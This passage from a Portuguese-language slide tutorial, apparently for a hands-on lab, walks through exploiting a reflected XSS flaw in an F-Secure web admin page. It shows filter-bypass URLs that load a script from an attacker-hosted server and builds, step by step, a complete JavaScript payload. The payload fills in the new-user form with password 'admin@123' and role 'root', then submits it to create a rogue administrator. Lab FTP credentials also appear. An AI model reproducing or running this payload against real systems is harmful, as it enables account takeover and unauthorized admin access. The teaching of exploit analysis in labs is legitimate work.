  • 23. Explorando a Falha Bypass do filtro <script> Analisando o código do html vemos que a nossa variável é inserida no final da tag input <input type=hidden name=new value=aaaa> Portanto não precisamos uJlizar o sinal de “>” para fechar o script J Nossa url: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa><script Fica assim o nosso código: <input type=hidden name=new value=aaaa><script>
  • 24. Explorando a Falha Para o Bypass do filtro hlps, uJlizaremos o Protocol Rela0ve suprimimos o protocolo, deixaremos o browser uJlizar o da pagina principal J, ficando assim o nosso script final hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aa><script src=//10.0.3.165/xss/e.js Para Bypass do filtro </script> não precisamos nos preocupar, pois ela é fornecida algumas linhas a frente J
  • 25. Criando o Exploit Para o nosso primeiro teste vamos criar um simples arquivo de texto com o seguinte conteúdo: alert("F-­‐Secure XSS"); Salve o arquivo com nome_que_desejar.js
  • 26. Criando o Exploit Acesso o Servidor via FTP para enviar o arquivo ou pode uJlizar o cliente disponível em hlp://10.200.210.8/tools FTP Servidor : 10.200.210.8 Usuário: xss Senha: xss Salve o arquivo na raiz mesmo do FTP.
  • 27. Criando o Exploit Com o nosso arquivo já no nosso servidor podemos ver como fica nossa URL hlps://10.200.210.133:10000/admin?module=SysUser&method=user&new=1><script src=//10.200.210.8/xss/ nome_do_seu_xss.js Realizando o acesso temos o nosso alert(); Mas, o Jtulo não é além do alert ?
  • 28. Criando o Exploit Vamos deixar as coisas mais interessantes A nossa vulnerabilidade se encontra na pagina de criação de novos usuários. Então o nosso exploit deve preencher os campos: Administrator ID Password Re-­‐type Password Role E ainda clicar em ADD Muita coisa ?
  • 29. Criando o Exploit Vamos começar recriando o campo de Input que foi quebrado quando inserimos o nosso Exploit Antes do Exploit Após o Exploit
  • 30. Criando o Exploit Isso ocorreu pois o nosso exploit e inserido antes do campo e com não podemos fechar a nossa tag </script> ela considera tudo um jascript até a próxima tag </script> no no código. Código enviado ao browser do usuário: <input type=hidden name=new value=1><script src=//10.200.210.8/xss/william.js> <input type=hidden name=old_password value=><tr><td class=ppsse}ngslabel width=200 id='id_text' valign=top>Administrator ID</td><td><input type="text" id='id' name="id" class=formInput value="" style="width:200" ppstype="admin_id"></td></tr><script language="Javascript" type="text/javascript"> document.main_form.id.focus();</script>
  • 31. Criando o Exploit • Para isso vamos usar o Method document.write(exp1,exp2,exp3,...) Ficando assim em nosso arquivo js. document.write("<input id='id' name='id' value='user.exploit'>"); Que vai criar um Input no código enviado ao usuário.
  • 32. Criando o Exploit • Agora temos que preencher os campos de Password, Role e clicar em ADD J Para isso vamos uJlizar o Method document.getElementsByName() para localizar o campo pelo nome, [0] é para selecionar a primeira ocorrência e o value é para setar um valor ao campo que seria nossa password: document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; As duas primeiras linhas são para a senha e a terceira é para setar o Role (perfil) como sendo root.
  • 33. Criando o Exploit • Vamos testar o nosso exploit adicionando as linhas abaixo em nosso arquivo js e enviado ao servidor, ficando assim o arquivo document.write("<input id='id' name='id' value='user.exploit'>"); document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root";
  • 34. Criando o Exploit • Vamos realizar novamente o acesso: L Como podemos ver apenas o campo com o nome do usuário foi preenchido Vamos habilitar o debug do Browser e ver o que aconteceu.
  • 35. Criando o Exploit • AJvamos o Debug do firefox em Tools > Web Developer > Web Console : Habilitando o JS temos: Vemos que na ulJma linha o nossos document.getElementsByName está com erro, sendo como não definido
  • 36. Criando o Exploit • Vamos analisar o que ocorreu, o javascript por default é executado pelo browser assim que é chamado, o nosso script é inserido antes dos campos de password e role do código enviado ao usuário, como o JS é executado logo assim que referenciado, acaba por não ter os campos para o preenchimento. • Como resolver? Colocando o nosso código em uma função e setando um Jmeout J
  • 37. Criando o Exploit • Ficando assim o nosso código no arquivo js: document.write("<input id='id' name='id' value='user.exploit'>"); funcJon espera() { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; } setTimeout("espera("Jmeout")", 1000);
  • 38. Criando o Exploit • Enviamos o nosso novo arquivo ao servidor e acessamos novamente o link: • Sucesso J Para finalizar o nosso Exploit ainda falta enviar os dados.
  • 39. Criando o Exploit • UJlizaremos o Method submit(), ficando assim o nosso script final: document.write("<input id='id' name='id' value='user.exploit'>"); funcJon espera() { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; document.main_form.submit(); } setTimeout("espera("Jmeout")", 1000); Não esqueça de salvar no arquivo js e enviar ao nosso servidor
  • 40. Criando o Exploit • Enviamos o nosso novo arquivo ao servidor e acessamos novamente o link:
  • 41. Conclusão. • Finalizamos a exploração com nosso exploit e o resultado foi a criação de um novo usuário de administração J.